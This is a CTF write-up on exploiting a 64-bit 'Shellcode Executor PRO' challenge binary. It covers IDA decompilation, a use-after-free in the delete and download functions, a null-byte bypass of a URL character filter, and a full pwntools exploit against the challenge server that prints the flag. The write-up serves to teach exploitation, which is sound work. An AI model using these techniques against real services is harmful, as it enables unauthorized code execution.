Your favorite shellcode testing service, now in the cloud!
nc 46.101.173.184 1446
The challenge only provides us with a non-stripped 64-bit binary. Running it gives us a menu with a couple of options as shown:
Checking the binary's security flags
Reversing
Firing up IDA, we find out a couple of functions
Now, lets have a quick brief about what each function does:
main
: it callscreateShellcode
then prompt us with the menu and executes functions based on our choice
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
signed int v5; // [rsp+Ch] [rbp-24h]
char v6; // [rsp+10h] [rbp-20h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup(*(_QWORD *)&argc, argv, envp);
puts("Shellcode Executor PRO");
v3 = &v6;
createShellcode(&v6, "Shellcode Executor PRO Demo Base", &demo_shellcode);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
printMenu();
v5 = ((__int64 (__fastcall *)(const char *, const char *))getInt)(v3, "Shellcode Executor PRO Demo Base");
if ( v5 != 3 )
break;
v3 = &v6;
executeShellcode(&v6);
}
if ( v5 <= 3 )
break;
LABEL_13:
v3 = "Invalid choice";
puts("Invalid choice");
}
if ( v5 != 2 )
break;
v3 = &v6;
deleteShellcode(&v6);
}
if ( v5 > 2 )
goto LABEL_13;
if ( !v5 )
return 0;
if ( v5 != 1 )
goto LABEL_13;
v3 = &v6;
downloadShellcode(&v6);
}
}
createShellcode
: it takes a pointer, name of the shellcode and the actual shellcode, allocates memory on the heap for both the name and the shellcode and stores the addresses in the pointer
_QWORD *__fastcall createShellcode(_QWORD *a1, const char *name, void *shellcode)
{
void *src; // ST08_8
void *dest; // ST30_8
size_t v5; // rax
char *v6; // ST28_8
__int64 v8; // [rsp+20h] [rbp-20h]
src = shellcode;
LOBYTE(v8) = 0;
dest = malloc(0x400uLL);
memcpy(dest, src, 0x400uLL);
v5 = strlen(name);
v6 = (char *)malloc(v5);
strcpy(v6, name);
*a1 = v8;
a1[1] = v6;
a1[2] = dest;
return a1;
}
downloadShellcode
: it allocates memory on the heap then takes its value from stdin usingfgets
then callsverifyUrl
on the input
int downloadShellcode()
{
char *s; // ST18_8
s = (char *)malloc(0x400uLL);
printf("Enter url: ");
fgets(s, 1024, stdin);
if ( (unsigned __int8)verifyUrl((__int64)s) ^ 1 )
{
puts("Your url contains incorrect characters, this incident will be reported");
exit(-1);
}
return puts("For this feature you need to purchase the full version of our product");
}
verifyUrl
: it loops over our input checking for invalid bytes<= 0x9
or that is what it looks like at least. Later on, we'll find out that it does more than that
signed __int64 __fastcall verifyUrl(char *a1)
{
int i; // [rsp+14h] [rbp-4h]
for ( i = 0; a1[i]; ++i )
{
if ( a1[i] <= 9 )
return 0LL;
}
return 1LL;
}
deleteShellcode
: it onlyfree
the chunks we have stored in the pointer which was set earlier by thecreateShellcode
function
void __fastcall deleteShellcode(__int64 a1)
{
if ( *(_BYTE *)a1 )
{
puts("This shellcode has already been deleted");
}
else
{
*(_BYTE *)a1 = 1;
free(*(void **)(a1 + 8));
free(*(void **)(a1 + 16));
}
}
executeShellcode
: it retrieves the shellcode from the heap and executes it after runningrestrictAccess
int __fastcall executeShellcode(__int64 a1)
{
void *dest; // [rsp+18h] [rbp-8h]
printf("Executing shellcode from %s\n", *(_QWORD *)(a1 + 8));
dest = mmap(0LL, 0x400uLL, 7, 34, -1, 0LL);
memcpy(dest, *(const void **)(a1 + 16), 0x400uLL);
if ( restricted != 1 )
restrictAccess();
puts("====================================");
((void (__fastcall *)(const char *))dest)("====================================");
puts("====================================");
return munmap(dest, 0x400uLL);
}
restrictAccess
it restrictssyscalls
to onlysigreturn
,exit
,exit_group
,read
,write
,mmap
,munmap
usingseccomp
__int64 restrictAccess()
{
__int64 v0; // ST08_8
puts("Your access to syscalls has been restricted. To get more syscalls purchase the full version of our product");
restricted = 1;
v0 = seccomp_init(0LL);
seccomp_rule_add(v0, 2147418112LL, 15LL, 0LL); // rt_sigreturn
seccomp_rule_add(v0, 2147418112LL, 60LL, 0LL); // exit
seccomp_rule_add(v0, 2147418112LL, 231LL, 0LL); // exit_group
seccomp_rule_add(v0, 2147418112LL, 0LL, 0LL); // read
seccomp_rule_add(v0, 2147418112LL, 1LL, 0LL); // write
seccomp_rule_add(v0, 2147418112LL, 9LL, 0LL); // mmap
seccomp_rule_add(v0, 2147418112LL, 11LL, 0LL); // munmap
return seccomp_load(v0);
}
Analysis
Clearly our goal is to run our shellcode but with the rules applied by seccomp
we have limited access to syscalls
, it only make sense for the flag to be loaded in the memory.
Simply looking at the binary's strings we find out where our flag will be located
Lets have a look at the demo shellcode, we know it's located on the heap so we can get it from there easily instead of looking up for its global variable address
So, this actually does what we need to do but instead of printing this demo text we want the flag so lets find where it is located. Interesting enough, we found it also on the heap in the same chunk of the shellcode
That was because when the createFunction
allocated the chunk, it allocated 1024 Byte and copied 1024 from the start of the demo_shellcode
global variable and the flag was close by enough to get included.
We now have hint about what we need to do but we still need to work on the how. Looking back on downloadShellcode
and deleteShellcode
we notice a couple of things:
downloadShellcode
allocates a chunk equal in size to that of the shellcode increateShellcode
deleteShellcode
frees the chunk the pointer is pointing to but the pointer is not nulled so it still points to the same chunk.
What happens if we deleted the shellcode then used the download function?
We took control of the shellcode that'll be executed
Bypassing the Verification
Now, we know that we need to write a shellcode to write the flag to stdout and we know how will we execute it. But we still have the function verifyUrl
which exits when it gets invalid bytes <= 0x9
We copied the shellcode from the demo and modified it with the flag offset and wrote a simple script to show us the opcodes to see if we'll face troubles with verifyUrl
from pwn import *
context(arch='amd64', os='linux')
shellcode = asm('''
xor rdi, rdi
lea rsi, [rip+0x74]
mov edx, 0x59
mov eax, 0x1
syscall
ret
''')
print disasm(shellcode)
Running the script, our answer was yes
We have many invalid bytes. My first attempt to solve this was to reconstruct the shellcode with different instructions which I knew was the intended solution after contacting the admin after the CTF but now the way I solved it after all.
I constructed part of the shellcode with much less amount of invalid bytes
But for some reason all bytes >= 0x80
also caused the binary to exit and I couldn't understand why. After the CTF I asked the admin about the function it turns out the decompilation was inaccurate as the original function was
bool verifyUrl(const char *url) {
for(int i=0; url[i]; i++) {
if(url[i] < 0x0a || url[i] > 0x7f ) {
return false;
}
}
return true;
}
I was stuck so I looked at the verifyUrl
function again to notice this interesting line
for ( i = 0; a1[i]; ++i )
The condition of the for loop was the character itself so what if we send a null byte at the beginning of our shellcode before any occurrence of any invalid bytes.
Attempting to send '\x00' + shellcode
to the binary, it worked and it didn't check the rest of the shellcode but of course our shellcode now is messed up and won't run.
Exploitation
The solution to send a valid shellcode with a null byte in the beginning was to have a useless instruction at the beginning of our shellcode that'll have null byte in its opcodes before the occurrence of invalid bytes.
After a couple of trials I found that xor al, 0x0
satisfies my needs
And the final exploit was
from pwn import *
context(arch='amd64', os='linux')
shellcode = asm('''
xor al, 0x0
xor rdi, rdi
lea rsi, [rip+0x74]
mov edx, 0x43
mov eax, 0x1
syscall
ret
''')
# p = process('./shellcodeexecutor')
p = remote('46.101.173.184', 1446)
p.sendlineafter('> ', '2')
p.sendlineafter('> ', '1')
p.sendlineafter(': ', shellcode)
p.sendlineafter('> ', '3')
p.recvuntil('====================================\n')
log.success(p.recvuntil('}'))
Finally, running the exploit we get the flag justCTF{f0r_4_b3tt3r_fl4g_purch4s3_th3_full_v3rsi0n_0f_0ur_pr0duct}